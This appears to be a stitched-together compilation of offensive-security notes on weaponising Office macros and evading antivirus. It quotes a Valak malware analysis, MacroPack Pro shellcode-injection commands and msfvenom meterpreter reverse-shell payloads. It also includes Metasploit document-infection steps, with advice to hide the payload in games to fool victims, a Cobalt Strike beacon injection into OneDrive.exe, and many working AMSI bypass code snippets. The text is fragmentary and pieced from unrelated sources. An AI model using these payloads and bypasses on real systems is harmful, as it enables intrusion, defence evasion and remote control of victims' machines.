document to Hybrid Analysis.
• An image of the email received by the user. It appears to be a reply within a previous
thread from a trusted third party. This shows the tactic of an adversary compromising
third parties and inserting themselves into prior email threads, where a user might let
their guard down and be more inclined to “trust” opening an attachment.
• De-compressing the zip file shows a Word 97–2003 document that is password
protected. Note the password contained in the email body shown above, which might
be decreasing the ability of an email content scanning engine to parse that password
in the email body and run it in a sandbox.
• Filename: ordain.07.20.doc
• SHA-256: bf27a7b725ef434d21f6f7aa8af4fbd2398b352eb9b1d74c46a1e4595f7ce39b
• Opening the word 97–2003 document Macro by clicking through both defaults of
“Enable Editing” and “Enable Content.”
• VBA calls AutoOpen() to automatically run code after the user selects Enable
Editing and Enable Content (rather than requiring a function Macro button).
• Packet tracing shows an HTTP GET request on TCP/80 to the following domain and IP
address. The image is just below showing the requested PHP page and URI.
• Domain: 4xj0nhh.com
• IP: 188.127.224.179
• On the evening of Tuesday, August 4th: The web server timed out with connection
refused after a period of time. This coincides with the timing of receiving the following
VB error when running the VBA, when the staging server fails to serve files required for
stage 2.
• On Wednesday, August 5th, we started to notice that the server is issuing RST upon
any SYN TCP request on port 80. By August 5th the webserver no longer allowed a 3-
way handshake.
• An image below showing the structure of Modules and Class Module files (three total)
with obfuscated VBS strings.
• Runtime testing on August 5th started to show Windows Defender blocking this
variant with a new signature published on August 5th:
• Microsoft Threat Intelligence change log shows an updated threat intelligence
signature for this Valak variant that was issued on August 5th:
https://infosecwriteups.com/fun-with-creating-a-vbs-payload-to-bypass-endpoint-security-
and-other-layers-44afd724de1b
Here are the challenges you face when writing a payload from most easy to most difficult to
evade:
• Static analysis (AV will try to identify known malicious pattern inside the script)
MacroPack Pro implements multiple bypass strategy, you can directly use AMSI bypass
methods for example.
However, instead of attacking the protection, I prefer to accept the AV monitoring and use
patterns which are not considered malicious.
This is the possibility given by the MP Pro "—shellcodemethod" option.
MP Pro provides several shellcode injection methods. Some of them able to bypass dynamic
analysis and Win32 hooking.
Note: All these methods are compatible with both 32 and 64 bits versions of Office.
Classic method
The Classic methods implements the shellcode injection method you can find everywhere.
Basically a call to next win32 API:
• VirtualAlloc
• RtlMoveMemory
• CreateThread
You can use MacroPack obfuscation to bypass static analysis but this method will be detected
by AMSI or other kind of dynamic analysis. There is however still the possibility to use this
method if you combine it with AMSI bypass options.
ClassicIndirect method
The ClassicIndirect method also rely on VirtualAlloc, RtlMoveMemory, and CreateThread,
however these methods are indirectly called via LoadLibrary -> GetProcAddress
The function pointer returned by GetProcAddress is executed thanks to DispCallFunc
The ClassicIndirect code is based on research at:
• http://exceldevelopmentplatform.blogspot.com/2017/05/dispcallfunc-opens-new-
door-to-com.html
• https://github.com/rmdavy/VBAFunctionPointers/blob/main/FunctionPointers.bas
The MP Pro code was written to be run with all templates and on 32 and 64bits.
Note: I you plan to implement/modify yourself 64bit office payloads there are some tips to
know about VBA types. First, have a look at the VBA Data type page
Next, here are some 64bit porting tips from MacroPack implementation:
4. ...
5. Dim nullValue as LongPtr ' Or instead use 0^ for LongLong zero directly as function
argument
6. nullValue = 0
This method does not require additional AMSI/dynamic bypass options on the AV I tested.
HeapInjection method
This method will allocate memory and inject on Heap and then create a new thread to run the
shellcode.
This method does not require additional AMSI bypass on the multiple AV but is less stealthy
then others.
Example to create a Word document running a shellcode on heap:
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=HeapInjection -G
test.doc
HeapInjection2 method
This method will also allocate on the heap but will not use CreateThread to execute the code
and instead use one of the Win32 function callback to execute.
The advantage is that is more stealthy than methods using CreateThread, the inconvenient is
the process will crash.
Note the user will not detect the process crash if you use the —background MacroPack option.
This method does not require additional AMSI/dynamic bypass options on the AV I tested.
AlternativeInjection method
This method does not require additional AMSI/dynamic bypass options on the AV I tested.
Here is a demo of a successful shellcode injection from a Word payload which bypass
advanced AV (in this case Kaspersky) using the AlternativeInjection method.
3. Available templates
SHELLCODE
Inject and run shellcode in the memory of the current process. For input this template needs
the path to file containing a raw shellcode.
For example, to create a PowerPoint document launching a meterpreter X86 shellcode (run on
office 32bit):
Next, create an obfuscated PowerPoint payload. The —keep-alive option is necessary if you do
not automigrate the beacon.
echo x86.bin | macro_pack.exe -t SHELLCODE -o -G test.pptm –keep-alive
AUTOSHELLCODE
Same as SHELLCODE but allows to pass 2 shellcodes, one for 32bit x86 and one for 64bit
architecture.
This template will automatically inject and run the right shellcode depending on the running
Office process architecture.
For example, create a word document running 32bit or 64bit meterpreter depending on office
architecture:
Generate the Word payload with obfuscation and AMSI bypass via —autopack
echo “x86.bin” “x64.bin” | macro_pack.exe -t AUTOSHELLCODE -o –autopack -G sc_auto.doc
DROPPER_SHELLCODE
Download and inject shellcode in current process memory. This template accepts two 2 URLs
as parameters, one for 32bit x86 and one for 64bit architecture. This template will
automatically download and inject the right shellcode depending on the running Office process
architecture
For example, create an excel document downloading a shellcode running 32bit or 64bit
depending on office architecture and using the ClassicIndirect method:
echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" |
macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G
samples\sc_dl.xls
Office payloads
Office shellcode launchers are straightforward to build, just use the right extension such as
doc, pptm, vsd, etc and MacroPack will automatically generate the Office document.
(You can also trojan an existing Office, Visio, or Ms project document)
Excel 4.0
The SHELLCODE and AUTOSHELLCODE templates are compatible with the MacroPack "—
xlm" option to generate an Excel 4.0 payload.
Here is the command line used to trojan an Excel sheet with a Excel 4.0 macro (XLM) loading
meterpreter reverse TCP raw shellcode:
echo meterx86_no0.bin | macro_pack.exe -t SHELLCODE -o --xlm --stealth -T
samples\something.xlsx
You can have a look at demo video and read more details about MacroPack support for Excel
4.0 macro in this post
VBS/HTA/SCT
All of the current shellcode injection methods rely on Win32 API. Since this API is not available
in VBScript, you need the —run-in-excel option to generate a VBscript based shellcode
launcher.
With this option, the script will open Excel in background and run the VBA shellcode launcher
in memory.
For example, lets create an HTA payload running x86 meterpreter (run on office 32bit):
First, create raw payload with msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.5.46 -f raw -o
x86.bin
Next, create an obfuscated hta payload. The —keep-alive option is necessary if you do not
automigrate the beacon.
echo x86.bin | macro_pack.exe -t SHELLCODE -o –run-in-excel -G sc.hta –keep-alive
https://blog.sevagas.com/Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-
payloads
https://www.youtube.com/watch?v=Zl7zWa8au28
Offensive VBA
https://github.com/S3cur3Th1sSh1t/OffensiveVBA
In preparation for a VBS AV Evasion Stream/Video I was doing some research for Office Macro
code execution methods and evasion techniques.
The list got longer and longer and I found no central place for offensive VBA templates - so this
repo can be used for such. It is very far away from being complete. If you know any other cool
technique or useful template feel free to contribute and create a pull request!
Most of the templates in this repo were already published somewhere. I just copy pasted most
templates from ms-docs sites, blog posts or from other tools.
Metasploit has a couple of built in methods you can use to infect Word and Excel documents
with malicious Metasploit payloads. You can also use your own custom payloads as well. It
doesn’t necessarily need to be a Metasploit payload. This method is useful when going after
client-side attacks and could also be potentially useful if you have to bypass some sort of
filtering that does not allow executables and only permits documents to pass through. To
begin, we first need to create our VBScript payload.
'**************************************************************
'*
'* 1. The Macro. This must be copied into the Office document
'*
'* 2. The Data. The hex dump at the end of this output must be
'*
...snip...
As the output message, indicates, the script is in two parts. The first part of the script is
created as a macro and the second part is appended into the document text itself. You will
need to transfer this script over to a machine with Windows and Office installed and perform
the following:
Word/Excel 2007: View Macros -> then place a name like "moo" and select "create".
This will open up the visual basic editor. Paste the output of the first portion of the payload
script into the editor, save it and then paste the remainder of the script into the word
document itself. This is when you would perform the client-side attack by emailing this Word
document to someone.
In order to keep user suspicion low, try embedding the code in one of the many Word/Excel
games that are available on the Internet. That way, the user is happily playing the game while
you are working in the background. This gives you some extra time to migrate to another
process if you are using Meterpreter as a payload.
## ### ## ##
####### ## ## ## ## ## ## ## ## ## ## ### ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
##
=[ metasploit v4.11.4-2015071402 ]
Now we can test out the document by opening it up and check back to where we have our
Metasploit exploit/multi/handler listener:
Computer: XEN-WIN7-PROD
Language: en_US
meterpreter >
Success! We have a Meterpreter shell right to the system that opened the document, and best
of all, it doesn’t get picked up by anti-virus!!!
https://www.offensive-security.com/metasploit-unleashed/vbscript-infection-methods/
https://www.certego.net/en/news/advanced-vba-macros/
Let’s break down an example of shellcode injection using alternative functions, taken from
Adepts of 0xCC. We can use the combination HeapCreate and HeapAlloc to obtain a memory
region with the right permissions. The combination of SetConsoleTitleA and GetConsoleTitleA
allows us to write our shellcode there.
Finally, EnumSystemCodePagesW can be used to divert the control flow. The end goal for me is
to inject a Cobalt Strike beacon using this method. Since raw payloads generated by Cobalt
Strike include NULL bytes, we either need to encode the payload to eliminate those, or
implement the Set- and GetConsoleTitleA functions in such a way that they are unsusceptible
to them. I would opt for the second route by creating a VBA function which copies the payload
one byte at a time:
The function takes an array of bytes as an argument and copies them into the specified buffer
at the specified index. We can call the function multiple times if we need to inject a payload
that exceeds the maximum length of a single VBA instruction (maximum line length *
maximum number of line continuations). When implemented in a VBA macro, we are now able
to receive a beacon in our Cobalt Strike Team server. However, the Office process on the
victim’s machine will freeze.
So why does this happen? In ‘traditional’ shellcode injection, the control flow is diverted using
the function CreateThread, which, as the name suggests, creates a new thread for the
shellcode to run in. This means that the regular program flow will continue in its own thread.
EnumSystemCodePagesW diverts control flow by calling the callback function invoked by the
first argument. As such, the shellcode runs in the same thread, therefore blocking further
execution of the macro itself. Since Office will block until execution of a macro is finished, this
causes the program in which the macro is running to freeze. The victim will likely close the
program, killing our beacon in the process.
To resolve the issue, we want to move away from the Office process as quickly as possible,
preferably without the victim noticing anything strange about the document. To achieve this
goal, I created a loader consisting of two stages. The first stage was implemented in VBA and
uses uncommon functions to inject shellcode as described before. The sole purpose of this
stage is being able to execute arbitrary code in a VBA macro, without Defender’s static analysis
flagging the document. The second stage was implemented as shellcode and will inject our
final payload (in this case a Cobalt Strike beacon) into a remote process and gracefully return
to the macro.
This provided me the unique opportunity to dive deeper into writing shellcode. I used the
techniques described in the article “From a C project, through assembly, to shellcode” by
@hasherezade (https://twitter.com/hasherezade). On a high level, this method works as
follows:
Using CreateToolHelp32Snaphot we create a snapshot of all processes. We then loop over all
processes to find the process we want to inject into, in this case OneDrive.exe. If we find the
process, we perform a remote process injection using VirtualAllocEx, WriteProcessMemory
and CreateRemoteThread. Using these functions directly in a VBA macro will certainly get it
flagged by static analysis of Windows Defender. The question is whether the dynamic analysis
performs as well.
Using the PEB look-up from the Hasherezade article, we can look up the memory addresses of
the functions we need and create function pointers for them as follows:
The function CreateToolhelp32Snapshot is now available to us as
Now that we have an assembly file, we need to make some modifications to make it valid
shellcode. Hasherezade explains how the required steps can be performed manually, which is
definitely a good exercise. However, for now we will use the tool masm_shc to automate most
of the work:
We could compile and link the Assembly file now. If we include the resulting shellcode in our
macro, we would get a beacon living in a different process, resolving our initial problem.
However, the shellcode will not return correctly to the macro, making the Office program
crash. To prevent our victims from becoming suspicious and alerting the SOC, we can add a
small stub to the Assembly file to correctly return to the macro. I wrote a small C++ program
that pauses just before execution of the EnumSystemCodePagesW function and prints the
address of the callback function. This allows us to easily put a breakpoint at the callback
function. The callback function returns the message FALSE to indicate that we do not want to
enumerate any additional code pages.
Looking at the callback function in a debugger, we can see the following:
It is important to notice that the ‘add esp, 8’ instruction is merely there to counter the two
push instructions that pushed the arguments for our function call onto the stack. In our stub
we don’t need those instructions. The resulting stub looks as follows:
Next, we can compile and link the Assembly file into a valid PE file, using the Microsoft
Assembler. To differentiate between a 32 and 64 bit PE, use ml.exe or ml64.exe, respectively.
The following command creates a PE file that uses our stub as the entry point:
Finally, we can extract the shellcode by dumping the .text section, using PE-Bear. I wrote a
Python script to convert the binary blob into a format that works with the VBA WriteMemory
function and added the final payload to the macro. Now, when the macro runs, it injects a
Cobalt Strike beacon into OneDrive.exe without crashing or giving any other signs to the user
something might be off.
https://home.kpmg/nl/en/home/insights/2022/05/injecting-a-cobalt-strike-beacon-from-an-
office-macro-under-windows-defender.html
AMSI Bypass
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
Lee Holmes no Twitter: "I love it when I hear good news! AMSI State of the Union - November
2019. @Sophos is now protecting you with its AMSI integration as well!
https://t.co/0rd9sjhFAW" / Twitter
AMSI Concept
The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows
your applications and services to integrate with any antimalware product that's present on a
machine. AMSI provides enhanced malware protection for your end-users and their data,
applications, and workloads.
AMSI is agnostic of antimalware vendor; it's designed to allow for the most common malware
scanning and protection techniques provided by today's antimalware products that can be
integrated into applications. It supports a calling structure allowing for file and memory or
stream scanning, content source URL/IP reputation checks, and other techniques.
AMSI also supports the notion of a session so that antimalware vendors can correlate different
scan requests. For instance, the different fragments of a malicious payload can be associated
to reach a more informed decision, which would be much harder to reach just by looking at
those fragments in isolation.
• User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
The Antimalware Scan Interface is designed for use by two groups of developers.
• Third-party creators of antimalware products who want their products to offer the
best features to applications.
When a user executes a script or initiates PowerShell, the AMSI.dll is injected into the process
memory space. Prior to execution the following two API’s are used by the antivirus to scan the
buffer and strings for signs of malware.
1. AmsiScanBuffer()
2. AmsiScanString()
If a known signature is identified execution doesn’t initiate and a message appears that the
script has been blocked by the antivirus software. The following diagram illustrates the process
of AMSI scanning.
•
AMSI – Flowchart
AMSI Evasions
Microsoft implemented AMSI as a first defense to stop execution of malware multiple evasions
have been publicly disclosed. Since the scan is signature based red teams and threat actors
could evade AMSI by conducting various tactics. Even though some of the techniques in their
original state are blocked, modification of strings and variables, encoding and obfuscation
could revive even the oldest tactics. Offensive tooling also support AMSI bypasses that could
be used in red team engagements prior to any script execution but manual methods could be
also deployed.
1. PowerShell Downgrade
Even though that Windows PowerShell 2.0 has been deprecated by Microsoft it hasn’t been
removed from the operating system. Older versions of PowerShell doesn’t contain security
controls such as AMSI protection and could be utilized as a form of evasion. Downgrading the
PowerShell version to an older version is trivial and requires execution of the following
command:
1powershell -version 2
•
AMSI Bypass – PowerShell Downgrade
2. Base64 Encoding
Fabian Mosch used an old AMSI bypass of Matt Graeber to prove that if base64 encoding is
used on strings (AmsiUtils & amsiInitFailed) that trigger AMSI and decoded at runtime could be
used as an evasion defeating the signatures of Microsoft. This technique prevents AMSI
scanning capability for the current process by setting the “amsiInitFailed” flag.
1[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static'
Base64 Encoded
1[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::Fro
•
AMSI Bypass – Base64 Encoding
3. Hooking
Tom Carver created a proof of concept in the form of a DLL file which evades AMSI by hooking
into the “AmsiScanBuffer” function. The “AmsiScanBuffer” will then be executed with dummy
parameters. The DLL needs to be injected into the PowerShell process which the AMSI bypass
will performed.
•
AMSI Bypass – Hooking
4. Memory Patching
Daniel Duggan released an AMSI bypass which patches the AmsiScanBuffer() function in order
to return always AMSI_RESULT_CLEAN which indicates that no detection has been found. The
patch is displayed in the following line:
1static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
The bypass has been released in C# and PowerShell. The DLL can be loaded and executed with
the use of the following commands:
1[System.Reflection.Assembly]::LoadFile("C:\Users\pentestlab\ASBBypass.dll")
2[Amsi]::Bypass()
•
AMSI Bypass – Memory Patching
By default the PowerShell version is getting flagged. The AMSITrigger could be used to
discover strings that are flagged by the AMSI by making calls to the “AmsiScanBuffer”. The
following lines have been identified and will need to be obfuscated.
.\AmsiTrigger_x64.exe -i .\ASBBypass.ps1
•
AMSI Scan Buffer Bypass – Identify Strings
Obfuscating the code contained within the PowerShell script will evade AMSI and perform the
memory patching.
1${_/==\_/\__/===\_/} =
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AO
2AAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwA
AHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZ
3
DQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgA
4AdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbw
5Add-Type ${_/==\_/\__/===\_/}
6${__/=\/==\/\_/=\_/} = [Win32]::LoadLibrary("am" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64
8${/==\_/=\/\__/\/\/} = 0
[System.Runtime.InteropServices.Marshal]::Copy(${_/\__/=\/\___/==\}, 0, ${___/====\__/=====}, 6)
•
AMSI Bypass – Memory Patching PowerShell
A slightly different approach to the memory patching technique is to use different machine
language instructions (opcodes) as it has been demonstrated in an article to achieve the result
of AMSI_RESULT_CLEAN.
.\amsi-opcode.ps1
•
An alternative bypass was released by Paul Laine which modifies the instructions of
the AMSI_RESULT function in memory to prevent sending the content to windows defender or
to any other AMSI provider.
.\AMSI-Patch.ps1
•
AMSI Bypass – Memory Patching
5. Forcing an Error
Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for
the current process. Originally this was disclosed by Matt Graeber and Microsoft has
developed a signature to prevent wider usage.
1[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static'
Avoiding to use directly the strings with the usage of variables can evade AMSI with the same
method.
4$field.SetValue($null,$true)
•
AMSI Bypass – Forcing an Error Obfuscation
Since there is a signature for the “amsiInitFailed” flag, Adam Chester discovered an alternative
method which attempt to force a error in order the flag to be set in a legitimate way and not in
the console. This bypass allocates a memory region for the “amsiContext” and since the
“amsiSession” is set to null will result an error. The discovery has been described in the article
“Exploring PowerShell AMSI and Logging Evasion” in the MDSec website. Using this evasion
without any obfuscation will fail as Microsoft has created signatures.
1$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
2[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static
3[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static
However an obfuscated version of this bypass exists in the amsi.fail website which is
maintained by Melvin Langvik and is displayed also below:
$fwi=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+8092-
8092));[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByT
39))").GetField("$('àmsìSessîõn'.NoRMALiZe([char](70+54-54)+[cHaR](111)+[cHar](114+24-24)+[chaR](106+3)+[ch
45)+[chaR](62+48)+[CHAR](125*118/118))", "NonPublic,Static").SetValue($null,
$null);[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe
39))").GetField("$([char]([bYtE]0x61)+[ChaR]([BYte]0x6d)+[Char](55+60)+[chAr](105+97-97)+[CHAr]([byTe]0x43)+
1"NonPublic,Static").SetValue($null, [IntPtr]$fwi);
•
AMSI Bypass – Forcing an Error
AMSI Providers are responsible for the scanning process by the antivirus product and are
registered in a location in the registry. The GUID for Windows Defender is displayed below:
HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}
•
AMSI Provider
Removing the registry key of the AMSI provider will disable the ability of windows defender to
perform AMSI inspection and evade the control. However, deleting a registry key is not
considered a stealthy approach (if there is sufficient monitoring in place) and also requires
elevated rights.
7. DLL Hijacking
DLL Hijacking can be also used to evade AMSI from userland as it has been described
by SensePost. The only requirement is to create a non-legitimate amsi.dll file and plant it on
the same folder as PowerShell 64 bit which could be copied to a user writable directory. The
proof of concept code has been released by SensePost and is also demonstrated below.
1 #include "pch.h"
2 #include "iostream"
5 DWORD ul_reason_for_call,
6 LPVOID lpReserved
7 )
8 {
9 switch (ul_reason_for_call)
10 {
11 case DLL_PROCESS_ATTACH:
12 {
19 } HAMSICONTEXT;
21 AMSI_RESULT_CLEAN,
22 AMSI_RESULT_NOT_DETECTED,
23 AMSI_RESULT_BLOCKED_BY_ADMIN_START,
24 AMSI_RESULT_BLOCKED_BY_ADMIN_END,
25 AMSI_RESULT_DETECTED
26 } AMSI_RESULT;
27
29 DWORD test;
30 } HAMSISESSION;
31
32 typedef struct r {
33 DWORD r;
34 };
35
39 void AmsiResultIsMalware(r);
43 }
44 case DLL_THREAD_ATTACH:
45 case DLL_THREAD_DETACH:
46 case DLL_PROCESS_DETACH:
47 break;
48 }
49 return TRUE;
50}
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Executing PowerShell outside of the standard directory will load the amsi.dll file which
contains all the necessary functions to operate, however AMSI will not initiated.
•
AMSI Bypass – DLL Hijacking
Tools
https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
https://www.hackingarticles.in/a-detailed-guide-on-amsi-bypass/
https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/
https://www.redteam.cafe/red-team/powershell/using-reflection-for-amsi-bypass
https://fluidattacks.com/blog/amsi-bypass/
https://thalpius.com/2021/10/14/microsoft-windows-antimalware-scan-interface-bypasses/
https://blog.ironmansoftware.com/protect-amsi-bypass/
https://cheatsheet.haax.fr/windows-systems/privilege-escalation/amsi_and_evasion/
https://unsafe.sh/go-108829.html
In a previous post, we described what AMSI (Antimalware Scan Interface) is and how it
prevents attacks, by checking the memory of processes that have the amsi.dll module loaded.
We also presented a way of patching the memory of a running process using WinDbg.
However, it is not common to have debugger in a victim machine when performing a red
teaming operation.
There's lots of methods around that weaponize the memory patching
using PowerShell scripts. @S3cur3Th1sSh1t has compiled one of the most useful resources of
AMSI bypasses using PowerShell. There's also the great amsi.fail which generates random
PowerShell payloads with the goal of bypassing AMSI. But all of them have something in
common: They use PowerShell code to bypass AMSI in a AMSI-hooked PowerShell interpreter.
Moreover, most of the payloads follow a pattern:
For instance, the following by @_RastaMouse is one of the most known bypasses:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
[DllImport("kernel32")]
[DllImport("kernel32")]
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect,
out uint lpflOldProtect);
"@
Add-Type $Win32
$p = 0
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
Here, you can see that strings like amsi.dll and AmsiScanBuffer are split, trying to fool AMSI,
because the sole presence of one of those strings will make AMSI show its teeth:
When all the bypasses are run in a powershell.exe session which is protected by AMSI, there is
a race between offensive PowerShell payloads and AMSI-backed EDR signatures. Let's look at
another example using this payload generated by amsi.fail:
In this post, we will introduce a new way to bypass AMSI by using a cross-process memory
patching approach with the help of an AMSI-free language: Python.
Strategy
We can't use the same strategy for patching AMSI if we want to make it outside
the powershell.exe process. Win32 API functions
like LoadLibrary(), GetModuleHandleA() and GetProcAddress() only work in the context of the
calling process. As we will create a whole new Python process, we need to find another way.
So, as a general strategy we need to do the following:
5. Patch AmsiScanBuffer.
6. Profit.
The first thing to do is getting the process identifiers (PID) of any powershell.exe process.
We need to get programmatically the same results using Python. We can make it using
the psutil module:
import psutil
def getPowershellPids():
return ppids
print(getPowershellPids())
And we get:
Now, to be able to do something useful with those processes, we need to get a handle to
them. The handle is basically an opaque interface to a kernel-managed object, a process in this
case. This can be done with something like this:
KERNEL32 = windll.kernel32
PROCESS_ACCESS = (
0x000F0000 | # STANDARD_RIGHTS_REQUIRED
0x00100000 | # SYNCHRONIZE
0xFFFF
Keep in mind that you can only get a handle to processes you own. Let's try to get a handle
of PID 18104 which is run under the NT AUTHORITY\LOCAL SERVICE user:
UserName ProcessName
-------- -----------
NT AUTHORITY\LOCAL SERVICE svchost
KERNEL32 = windll.kernel32
PROCESS_ACCESS = (
0x000F0000 | # STANDARD_RIGHTS_REQUIRED
0x00100000 | # SYNCHRONIZE
0xFFFF
if not process_handle:
else:
[-] Error: 5
Access is denied.
However, if the current user has the SeDebugPrivilege privilege enabled (local admins
commonly have it), you can get a handle to other processes too:
One may initially think of EnumerateProcessModules(). Let's check that with the following
code:
import psutil
KERNEL32 = windll.kernel32
PSAPI = windll.PSAPI
PROCESS_ACCESS = (
0x000F0000 | # STANDARD_RIGHTS_REQUIRED
0x00100000 | # SYNCHRONIZE
0xFFFF
def getPowershellPids():
return ppids
for pid in getPowershellPids():
if not process_handle:
continue
needed = wintypes.LPDWORD()
cPath = c_buffer(128)
print(cPath.value.decode())
C:\WINDOWS\SYSTEM32\ntdll.dll
C:\WINDOWS\System32\KERNEL32.DLL
C:\WINDOWS\System32\KERNELBASE.dll
C:\WINDOWS\System32\msvcrt.dll
C:\WINDOWS\System32\OLEAUT32.dll
C:\WINDOWS\System32\msvcp_win.dll
C:\WINDOWS\System32\ucrtbase.dll
C:\WINDOWS\System32\combase.dll
C:\WINDOWS\System32\USER32.dll
C:\WINDOWS\System32\RPCRT4.dll
C:\WINDOWS\System32\win32u.dll
C:\WINDOWS\System32\ADVAPI32.dll
C:\WINDOWS\System32\GDI32.dll
C:\WINDOWS\System32\sechost.dll
...
FileName
--------
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
C:\WINDOWS\SYSTEM32\ntdll.dll
C:\WINDOWS\System32\KERNEL32.DLL
C:\WINDOWS\System32\KERNELBASE.dll
C:\WINDOWS\System32\msvcrt.dll
C:\WINDOWS\System32\OLEAUT32.dll
C:\WINDOWS\System32\msvcp_win.dll
C:\WINDOWS\System32\ucrtbase.dll
C:\WINDOWS\SYSTEM32\ATL.DLL
C:\WINDOWS\System32\combase.dll
C:\WINDOWS\System32\USER32.dll
C:\WINDOWS\System32\RPCRT4.dll
C:\WINDOWS\System32\win32u.dll
C:\WINDOWS\System32\ADVAPI32.dll
C:\WINDOWS\System32\GDI32.dll
C:\WINDOWS\System32\sechost.dll
C:\WINDOWS\System32\gdi32full.dll
C:\WINDOWS\System32\OLE32.dll
C:\WINDOWS\SYSTEM32\mscoree.dll
C:\WINDOWS\System32\IMM32.DLL
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll
C:\WINDOWS\System32\SHLWAPI.dll
C:\WINDOWS\SYSTEM32\kernel.appcore.dll
C:\WINDOWS\SYSTEM32\VERSION.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll
C:\WINDOWS\SYSTEM32\VCRUNTIME140_1_CLR0400.dll
C:\WINDOWS\SYSTEM32\ucrtbase_clr0400.dll
C:\WINDOWS\SYSTEM32\VCRUNTIME140_CLR0400.dll
C:\WINDOWS\System32\psapi.dll
C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\mscorlib\5b8c945e30aa4099a8c0741d
874b8f36\mscorlib.ni.dll
C:\WINDOWS\System32\bcryptPrimitives.dll
C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System\a8c3a8bedc935407a7f5f21e97
aa1003\System.ni.dll
C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Core\8819bf9c3cfd5f3086be09
9fc8d43355\System.Core.ni.dll
C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\8e2fdb14b0a3b
4f83fc612f5d2dc52b2\Microsoft.Power...
C:\WINDOWS\SYSTEM32\CRYPTSP.dll
C:\WINDOWS\system32\rsaenh.dll
C:\WINDOWS\SYSTEM32\CRYPTBASE.dll
C:\WINDOWS\SYSTEM32\bcrypt.dll
C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\7929a7b72d26
707339cddb9177ddcb48\System.Manageme...
C:\WINDOWS\System32\clbcatq.dll
C:\WINDOWS\System32\shell32.dll
C:\WINDOWS\SYSTEM32\amsi.dll
...
amsi.dll is there, but also a bunch of other modules. The difference is huge!
After a while (and by RTFM), I found that EnumProcessModules() only retrieves the modules
that are part of the IAT (Import Address Table) or related modules. If somewhere in the middle
there's a dynamic loading of another module by using LoadLibraryEx() or something
similar, EnumProcessModules() won't give accurate results.
After a little research, I found that the way to get all the loaded modules of a running process
was using CreateToolhelp32Snapshot(), which creates a snapshot of a process, including
heaps, modules and threads. We can use that API to get the loaded modules along with the
resolved base address of each module in the process memory. Let's check that with the
following code:
import psutil
KERNEL32 = windll.kernel32
PSAPI = windll.PSAPI
PROCESS_ACCESS = (
0x000F0000 | # STANDARD_RIGHTS_REQUIRED
0x00100000 | # SYNCHRONIZE
0xFFFF
def getPowershellPids():
return ppids
if not process_handle:
continue
